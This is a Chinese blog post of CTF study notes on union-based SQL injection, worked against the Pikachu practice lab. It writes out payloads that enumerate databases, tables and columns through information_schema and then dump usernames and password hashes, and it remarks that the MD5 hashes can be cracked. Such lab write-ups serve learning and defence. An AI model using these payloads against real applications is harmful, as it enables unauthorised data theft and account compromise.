欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509

程序员文章站 2022-05-15 09:54:53
...

union 联合查询:
可以通过联合查询来查询指定的数据
用法举例:

 select username,password from user where id=1 unionselect 字段1,字段2 from 表名 

联合查询的字段数需要和主查询一致!‘

如何确定字段数??-》order by了解一下吧

ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509
ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509

然后,
用union查询又有什么用呢?
用union的目的是为了获得更多的信息,
说实话,获得那些什么名字的破信息根本没什么鸟用。
要拿到更多的数据库私隐,了解多一点。

那么就会引进一个重要的:库:

information_schema

这个库是可以形象地比喻成国家机密机构,

里面有很多重要的表。
比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。
详细表述了某个表属于哪个schema,表类型, 表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

那么可以利用这个库进行查询:
**出想要的东西:

案例:
ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509
先找出个构成union的前提先,
再询问一下该表名字,类型之类的:

kobe ' union select database(),user()#

然后知道了表名:
pikachu

用schema去查:

构造:

kobe' union select table_schema,table_name from information_schema.tables
(注意.tables是跨库查询,是支持的)
where table_name='pikachu'#

得出:
ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509
合理猜测,
要的密码和用户信息在这里。

接着

columns登场了

里面有表的列的信息,
应该用视图,存放的吧。

查询语句如下/:

kobe' union select column_name,table_name from information_schema.columns
where table_name='users'#

ojbk:
ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509
快解决了,
知道列和表,一查就出来了:

kobe' union select username,password from users#

ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509
一看就知道是md5加密
解个密就好。